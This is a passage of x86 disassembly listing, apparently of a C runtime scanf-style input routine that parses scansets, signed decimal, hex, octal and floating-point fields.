movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_423AE2
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_423AE2: ; CODE XREF: sub_4236C0+417j
mov [ebp+var_1E0], offset dword_447714
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_423B40
; ---------------------------------------------------------------------------
loc_423AF6: ; CODE XREF: sub_4236C0+3C4j
; DATA XREF: .data:00424A76o
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_423B07
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_423B07: ; CODE XREF: sub_4236C0+43Cj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Eh
jnz short loc_423B40
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov dl, [ebp+var_10]
sub dl, 1
mov [ebp+var_10], dl
loc_423B40: ; CODE XREF: sub_4236C0+40Fj
; sub_4236C0+434j ...
push 20h
push 0
lea eax, [ebp+var_60]
push eax
call sub_417700
add esp, 0Ch
cmp [ebp+var_C], 7Bh
jnz short loc_423B7C
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jnz short loc_423B7C
mov byte ptr [ebp+var_8], 5Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
mov [ebp+var_55], 20h
loc_423B7C: ; CODE XREF: sub_4236C0+494j
; sub_4236C0+4A3j ...
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jz loc_423CE7
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_1EC]
and eax, 0FFh
cmp eax, 2Dh
jnz short loc_423BD8
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_423BD8
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Dh
jnz short loc_423C1E
loc_423BD8: ; CODE XREF: sub_4236C0+4FAj
; sub_4236C0+507j
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_60]
or cl, al
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov [ebp+edx+var_60], cl
jmp loc_423CE2
; ---------------------------------------------------------------------------
loc_423C1E: ; CODE XREF: sub_4236C0+516j
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
cmp eax, ecx
jge short loc_423C5E
mov dl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_24], dl
jmp short loc_423C6D
; ---------------------------------------------------------------------------
loc_423C5E: ; CODE XREF: sub_4236C0+591j
mov al, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_24], al
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
loc_423C6D: ; CODE XREF: sub_4236C0+59Cj
mov dl, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_1EC], dl
jmp short loc_423C86
; ---------------------------------------------------------------------------
loc_423C78: ; CODE XREF: sub_4236C0+61Cj
mov al, byte ptr [ebp+var_1EC]
add al, 1
mov byte ptr [ebp+var_1EC], al
loc_423C86: ; CODE XREF: sub_4236C0+5B6j
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
mov edx, [ebp+var_24]
and edx, 0FFh
cmp ecx, edx
jg short loc_423CDE
mov eax, [ebp+var_1EC]
and eax, 0FFh
sar eax, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov edx, 1
shl edx, cl
mov al, [ebp+eax+var_60]
or al, dl
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
sar ecx, 3
mov [ebp+ecx+var_60], al
jmp short loc_423C78
; ---------------------------------------------------------------------------
loc_423CDE: ; CODE XREF: sub_4236C0+5DDj
mov byte ptr [ebp+var_8], 0
loc_423CE2: ; CODE XREF: sub_4236C0+559j
jmp loc_423B7C
; ---------------------------------------------------------------------------
loc_423CE7: ; CODE XREF: sub_4236C0+4C9j
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_423CFA
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_423CFA: ; CODE XREF: sub_4236C0+633j
cmp [ebp+var_C], 7Bh
jnz short loc_423D09
mov ecx, [ebp+var_1E0]
mov [ebp+arg_4], ecx
loc_423D09: ; CODE XREF: sub_4236C0+63Ej
mov edx, [ebp+var_3C]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_424B60
add esp, 8
loc_423D2E: ; CODE XREF: sub_4236C0:loc_423E70j
cmp [ebp+var_1E8], 0
jz short loc_423D4B
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_423E75
loc_423D4B: ; CODE XREF: sub_4236C0+675j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0FFFFFFFFh
jz loc_423E52
mov ecx, [ebp+var_1D8]
sar ecx, 3
movsx edx, [ebp+ecx+var_60]
movsx eax, [ebp+var_10]
xor edx, eax
mov ecx, [ebp+var_1D8]
and ecx, 7
mov eax, 1
shl eax, cl
and edx, eax
test edx, edx
jz loc_423E52
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz loc_423E41
movsx edx, [ebp+var_64]
test edx, edx
jz short loc_423E2B
mov al, byte ptr [ebp+var_1D8]
mov [ebp+var_1F0], al
mov ecx, [ebp+var_1D8]
and ecx, 0FFh
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_423DFD
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_424B00
add esp, 4
mov [ebp+var_1EF], al
loc_423DFD: ; CODE XREF: sub_4236C0+720j
mov eax, dword_447480
push eax
lea ecx, [ebp+var_1F0]
push ecx
lea edx, [ebp+var_4]
push edx
call sub_42A640
add esp, 0Ch
mov eax, [ebp+var_3C]
mov cx, [ebp+var_4]
mov [eax], cx
mov edx, [ebp+var_3C]
add edx, 2
mov [ebp+var_3C], edx
jmp short loc_423E3F
; ---------------------------------------------------------------------------
loc_423E2B: ; CODE XREF: sub_4236C0+6F3j
mov eax, [ebp+var_3C]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_423E3F: ; CODE XREF: sub_4236C0+769j
jmp short loc_423E50
; ---------------------------------------------------------------------------
loc_423E41: ; CODE XREF: sub_4236C0+6E7j
mov eax, [ebp+var_1E4]
add eax, 1
mov [ebp+var_1E4], eax
loc_423E50: ; CODE XREF: sub_4236C0:loc_423E3Fj
jmp short loc_423E70
; ---------------------------------------------------------------------------
loc_423E52: ; CODE XREF: sub_4236C0+6ADj
; sub_4236C0+6DBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_424B60
add esp, 8
jmp short loc_423E75
; ---------------------------------------------------------------------------
loc_423E70: ; CODE XREF: sub_4236C0:loc_423E50j
jmp loc_423D2E
; ---------------------------------------------------------------------------
loc_423E75: ; CODE XREF: sub_4236C0+685j
; sub_4236C0+7AEj
mov ecx, [ebp+var_1E4]
cmp ecx, [ebp+var_3C]
jz short loc_423EB1
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_423EAF
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_C], 63h
jz short loc_423EAF
movsx ecx, [ebp+var_64]
test ecx, ecx
jz short loc_423EA9
mov edx, [ebp+var_3C]
mov word ptr [edx], 0
jmp short loc_423EAF
; ---------------------------------------------------------------------------
loc_423EA9: ; CODE XREF: sub_4236C0+7DDj
mov eax, [ebp+var_3C]
mov byte ptr [eax], 0
loc_423EAF: ; CODE XREF: sub_4236C0+7C6j
; sub_4236C0+7D5j ...
jmp short loc_423EB6
; ---------------------------------------------------------------------------
loc_423EB1: ; CODE XREF: sub_4236C0+7BEj
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_423EB6: ; CODE XREF: sub_4236C0:loc_423EAFj
jmp loc_424854
; ---------------------------------------------------------------------------
loc_423EBB: ; CODE XREF: sub_4236C0+3C4j
mov [ebp+var_C], 64h
loc_423EC2: ; CODE XREF: sub_4236C0+3C4j
cmp [ebp+var_1D8], 2Dh
jnz short loc_423ED6
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_423EDF
; ---------------------------------------------------------------------------
loc_423ED6: ; CODE XREF: sub_4236C0+809j
cmp [ebp+var_1D8], 2Bh
jnz short loc_423F1C
loc_423EDF: ; CODE XREF: sub_4236C0+814j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_423F01
cmp [ebp+var_1E8], 0
jz short loc_423F01
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_423F1C
; ---------------------------------------------------------------------------
loc_423F01: ; CODE XREF: sub_4236C0+82Cj
; sub_4236C0+835j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_423F1C: ; CODE XREF: sub_4236C0+81Dj
; sub_4236C0+83Fj
cmp [ebp+var_1D8], 30h
jnz loc_423FBE
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
movsx edx, byte ptr [ebp+var_1D8]
cmp edx, 78h
jz short loc_423F5C
movsx eax, byte ptr [ebp+var_1D8]
cmp eax, 58h
jnz short loc_423F80
loc_423F5C: ; CODE XREF: sub_4236C0+88Ej
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_C], 78h
jmp short loc_423FBE
; ---------------------------------------------------------------------------
loc_423F80: ; CODE XREF: sub_4236C0+89Aj
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
cmp [ebp+var_C], 78h
jz short loc_423F98
mov [ebp+var_C], 6Fh
jmp short loc_423FBE
; ---------------------------------------------------------------------------
loc_423F98: ; CODE XREF: sub_4236C0+8CDj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_424B60
add esp, 8
mov [ebp+var_1D8], 30h
loc_423FBE: ; CODE XREF: sub_4236C0+863j
; sub_4236C0+8BEj ...
jmp short loc_42401E
; ---------------------------------------------------------------------------
loc_423FC0: ; CODE XREF: sub_4236C0+3C4j
mov [ebp+var_38], 1
loc_423FC4: ; CODE XREF: sub_4236C0+3C4j
cmp [ebp+var_1D8], 2Dh
jnz short loc_423FD8
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_423FE1
; ---------------------------------------------------------------------------
loc_423FD8: ; CODE XREF: sub_4236C0+90Bj
cmp [ebp+var_1D8], 2Bh
jnz short loc_42401E
loc_423FE1: ; CODE XREF: sub_4236C0+916j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_424003
cmp [ebp+var_1E8], 0
jz short loc_424003
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42401E
; ---------------------------------------------------------------------------
loc_424003: ; CODE XREF: sub_4236C0+92Ej
; sub_4236C0+937j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_42401E: ; CODE XREF: sub_4236C0:loc_423FBEj
; sub_4236C0+91Fj ...
cmp [ebp+var_1DC], 0
jz loc_424219
loc_42402B: ; CODE XREF: sub_4236C0:loc_4241F4j
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_4241F9
cmp [ebp+var_C], 78h
jnz loc_4240C6
cmp dword_447480, 1
jle short loc_424066
push 80h
mov ecx, [ebp+var_1D8]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_208], eax
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424066: ; CODE XREF: sub_4236C0+988j
mov edx, [ebp+var_1D8]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 80h
mov [ebp+var_208], ecx
loc_424083: ; CODE XREF: sub_4236C0+9A4j
cmp [ebp+var_208], 0
jz short loc_4240B9
mov ecx, 4
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42AC10
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov edx, [ebp+var_1D8]
push edx
call sub_424AA0
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4240C1
; ---------------------------------------------------------------------------
loc_4240B9: ; CODE XREF: sub_4236C0+9CAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4240C1: ; CODE XREF: sub_4236C0+9F7j
jmp loc_42416D
; ---------------------------------------------------------------------------
loc_4240C6: ; CODE XREF: sub_4236C0+97Bj
cmp dword_447480, 1
jle short loc_4240E8
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_20C], eax
jmp short loc_424102
; ---------------------------------------------------------------------------
loc_4240E8: ; CODE XREF: sub_4236C0+A0Dj
mov edx, [ebp+var_1D8]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_20C], ecx
loc_424102: ; CODE XREF: sub_4236C0+A26j
cmp [ebp+var_20C], 0
jz short loc_424165
cmp [ebp+var_C], 6Fh
jnz short loc_42413D
cmp [ebp+var_1D8], 38h
jge short loc_424132
mov ecx, 3
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42AC10
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
jmp short loc_42413B
; ---------------------------------------------------------------------------
loc_424132: ; CODE XREF: sub_4236C0+A58j
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
loc_42413B: ; CODE XREF: sub_4236C0+A70j
jmp short loc_424163
; ---------------------------------------------------------------------------
loc_42413D: ; CODE XREF: sub_4236C0+A4Fj
mov ecx, 2
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42AC10
add eax, [ebp+var_30]
adc edx, [ebp+var_2C]
mov ecx, 1
call sub_42AC10
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_424163: ; CODE XREF: sub_4236C0:loc_42413Bj
jmp short loc_42416D
; ---------------------------------------------------------------------------
loc_424165: ; CODE XREF: sub_4236C0+A49j
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42416D: ; CODE XREF: sub_4236C0:loc_4240C1j
; sub_4236C0:loc_424163j
movsx ecx, [ebp+var_18]
test ecx, ecx
jnz short loc_4241D8
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1D8]
sub eax, 30h
cdq
mov ecx, [ebp+var_30]
add ecx, eax
mov eax, [ebp+var_2C]
adc eax, edx
mov [ebp+var_30], ecx
mov [ebp+var_2C], eax
cmp [ebp+var_1E8], 0
jz short loc_4241BB
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_4241BB
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4241D6
; ---------------------------------------------------------------------------
loc_4241BB: ; CODE XREF: sub_4236C0+ADFj
; sub_4236C0+AEEj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_4241D6: ; CODE XREF: sub_4236C0+AF9j
jmp short loc_4241F4
; ---------------------------------------------------------------------------
loc_4241D8: ; CODE XREF: sub_4236C0+AB3j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_424B60
add esp, 8
loc_4241F4: ; CODE XREF: sub_4236C0:loc_4241D6j
jmp loc_42402B
; ---------------------------------------------------------------------------
loc_4241F9: ; CODE XREF: sub_4236C0+971j
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_424214
mov eax, [ebp+var_30]
neg eax
mov ecx, [ebp+var_2C]
adc ecx, 0
neg ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], ecx
loc_424214: ; CODE XREF: sub_4236C0+B3Fj
jmp loc_4243BD
; ---------------------------------------------------------------------------
loc_424219: ; CODE XREF: sub_4236C0+965j
; sub_4236C0:loc_4243A8j
movsx edx, [ebp+var_18]
test edx, edx
jnz loc_4243AD
cmp [ebp+var_C], 78h
jz short loc_424231
cmp [ebp+var_C], 70h
jnz short loc_4242A9
loc_424231: ; CODE XREF: sub_4236C0+B69j
cmp dword_447480, 1
jle short loc_424256
push 80h
mov eax, [ebp+var_1D8]
push eax
call sub_41FA40
add esp, 8
mov [ebp+var_210], eax
jmp short loc_424273
; ---------------------------------------------------------------------------
loc_424256: ; CODE XREF: sub_4236C0+B78j
mov ecx, [ebp+var_1D8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp+var_210], eax
loc_424273: ; CODE XREF: sub_4236C0+B94j
cmp [ebp+var_210], 0
jz short loc_42429C
mov ecx, [ebp+var_40]
shl ecx, 4
mov [ebp+var_40], ecx
mov edx, [ebp+var_1D8]
push edx
call sub_424AA0
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4242A4
; ---------------------------------------------------------------------------
loc_42429C: ; CODE XREF: sub_4236C0+BBAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4242A4: ; CODE XREF: sub_4236C0+BDAj
jmp loc_42432B
; ---------------------------------------------------------------------------
loc_4242A9: ; CODE XREF: sub_4236C0+B6Fj
cmp dword_447480, 1
jle short loc_4242CB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_214], eax
jmp short loc_4242E5
; ---------------------------------------------------------------------------
loc_4242CB: ; CODE XREF: sub_4236C0+BF0j
mov edx, [ebp+var_1D8]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_214], ecx
loc_4242E5: ; CODE XREF: sub_4236C0+C09j
cmp [ebp+var_214], 0
jz short loc_424322
cmp [ebp+var_C], 6Fh
jnz short loc_424312
cmp [ebp+var_1D8], 38h
jge short loc_424308
mov edx, [ebp+var_40]
shl edx, 3
mov [ebp+var_40], edx
jmp short loc_424310
; ---------------------------------------------------------------------------
loc_424308: ; CODE XREF: sub_4236C0+C3Bj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_424310: ; CODE XREF: sub_4236C0+C46j
jmp short loc_424320
; ---------------------------------------------------------------------------
loc_424312: ; CODE XREF: sub_4236C0+C32j
mov ecx, [ebp+var_40]
mov edx, [ebp+var_40]
lea eax, [edx+ecx*4]
shl eax, 1
mov [ebp+var_40], eax
loc_424320: ; CODE XREF: sub_4236C0:loc_424310j
jmp short loc_42432B
; ---------------------------------------------------------------------------
loc_424322: ; CODE XREF: sub_4236C0+C2Cj
mov cl, [ebp+var_18]
add cl, 1
mov [ebp+var_18], cl
loc_42432B: ; CODE XREF: sub_4236C0:loc_4242A4j
; sub_4236C0:loc_424320j
movsx edx, [ebp+var_18]
test edx, edx
jnz short loc_42438C
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+var_40]
lea eax, [edx+ecx-30h]
mov [ebp+var_40], eax
cmp [ebp+var_1E8], 0
jz short loc_42436F
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42436F
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_42438A
; ---------------------------------------------------------------------------
loc_42436F: ; CODE XREF: sub_4236C0+C93j
; sub_4236C0+CA2j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_42438A: ; CODE XREF: sub_4236C0+CADj
jmp short loc_4243A8
; ---------------------------------------------------------------------------
loc_42438C: ; CODE XREF: sub_4236C0+C71j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_424B60
add esp, 8
loc_4243A8: ; CODE XREF: sub_4236C0:loc_42438Aj
jmp loc_424219
; ---------------------------------------------------------------------------
loc_4243AD: ; CODE XREF: sub_4236C0+B5Fj
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_4243BD
mov eax, [ebp+var_40]
neg eax
mov [ebp+var_40], eax
loc_4243BD: ; CODE XREF: sub_4236C0:loc_424214j
; sub_4236C0+CF3j
cmp [ebp+var_C], 46h
jnz short loc_4243CA
mov [ebp+var_6C], 0
loc_4243CA: ; CODE XREF: sub_4236C0+D01j
cmp [ebp+var_6C], 0
jz short loc_424418
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_424416
mov edx, [ebp+var_34]
add edx, 1
mov [ebp+var_34], edx
loc_4243E1: ; CODE XREF: sub_4236C0+D70j
cmp [ebp+var_1DC], 0
jz short loc_4243FA
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov edx, [ebp+var_2C]
mov [eax+4], edx
jmp short loc_424416
; ---------------------------------------------------------------------------
loc_4243FA: ; CODE XREF: sub_4236C0+D28j
movsx eax, [ebp+var_38]
test eax, eax
jz short loc_42440C
mov ecx, [ebp+var_3C]
mov edx, [ebp+var_40]
mov [ecx], edx
jmp short loc_424416
; ---------------------------------------------------------------------------
loc_42440C: ; CODE XREF: sub_4236C0+D40j
mov eax, [ebp+var_3C]
mov cx, word ptr [ebp+var_40]
mov [eax], cx
loc_424416: ; CODE XREF: sub_4236C0+D16j
; sub_4236C0+D38j ...
jmp short loc_42441D
; ---------------------------------------------------------------------------
loc_424418: ; CODE XREF: sub_4236C0+D0Ej
jmp loc_4249AA
; ---------------------------------------------------------------------------
loc_42441D: ; CODE XREF: sub_4236C0:loc_424416j
jmp loc_424854
; ---------------------------------------------------------------------------
loc_424422: ; CODE XREF: sub_4236C0+3C4j
mov edx, [ebp+var_20]
mov [ebp+var_40], edx
movsx eax, [ebp+var_70]
test eax, eax
jnz short loc_424432
jmp short loc_4243E1
; ---------------------------------------------------------------------------
loc_424432: ; CODE XREF: sub_4236C0+D6Ej
jmp loc_424854
; ---------------------------------------------------------------------------
loc_424437: ; CODE XREF: sub_4236C0+3C4j
lea ecx, [ebp+var_1D0]
mov [ebp+var_1E0], ecx
cmp [ebp+var_1D8], 2Dh
jnz short loc_424466
mov edx, [ebp+var_1E0]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
jmp short loc_42446F
; ---------------------------------------------------------------------------
loc_424466: ; CODE XREF: sub_4236C0+D8Aj
cmp [ebp+var_1D8], 2Bh
jnz short loc_424493
loc_42446F: ; CODE XREF: sub_4236C0+DA4j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
loc_424493: ; CODE XREF: sub_4236C0+DADj
cmp [ebp+var_1E8], 0
jz short loc_4244A5
cmp [ebp+var_1C], 15Dh
jle short loc_4244AC
loc_4244A5: ; CODE XREF: sub_4236C0+DDAj
mov [ebp+var_1C], 15Dh
loc_4244AC: ; CODE XREF: sub_4236C0+DE3j
; sub_4236C0+E82j
cmp dword_447480, 1
jle short loc_4244CE
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_218], eax
jmp short loc_4244E8
; ---------------------------------------------------------------------------
loc_4244CE: ; CODE XREF: sub_4236C0+DF3j
mov edx, [ebp+var_1D8]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_218], ecx
loc_4244E8: ; CODE XREF: sub_4236C0+E0Cj
cmp [ebp+var_218], 0
jz short loc_424547
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_424547
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_4244AC
; ---------------------------------------------------------------------------
loc_424547: ; CODE XREF: sub_4236C0+E2Fj
; sub_4236C0+E3Fj
movsx ecx, byte_447484
movsx edx, byte ptr [ebp+var_1D8]
cmp ecx, edx
jnz loc_424644
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_424644
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1E0]
mov dl, byte_447484
mov [ecx], dl
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
loc_4245A9: ; CODE XREF: sub_4236C0+F7Fj
cmp dword_447480, 1
jle short loc_4245CB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_21C], eax
jmp short loc_4245E5
; ---------------------------------------------------------------------------
loc_4245CB: ; CODE XREF: sub_4236C0+EF0j
mov edx, [ebp+var_1D8]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_21C], ecx
loc_4245E5: ; CODE XREF: sub_4236C0+F09j
cmp [ebp+var_21C], 0
jz short loc_424644
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_424644
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_4245A9
; ---------------------------------------------------------------------------
loc_424644: ; CODE XREF: sub_4236C0+E97j
; sub_4236C0+EABj ...
cmp [ebp+var_6C], 0
jz loc_4247A9
cmp [ebp+var_1D8], 65h
jz short loc_424664
cmp [ebp+var_1D8], 45h
jnz loc_4247A9
loc_424664: ; CODE XREF: sub_4236C0+F95j
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
test ecx, ecx
jz loc_4247A9
mov eax, [ebp+var_1E0]
mov byte ptr [eax], 65h
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_424B00
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2Dh
jnz short loc_4246CE
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
jmp short loc_4246D7
; ---------------------------------------------------------------------------
loc_4246CE: ; CODE XREF: sub_4236C0+FF2j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42470D
loc_4246D7: ; CODE XREF: sub_4236C0+100Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
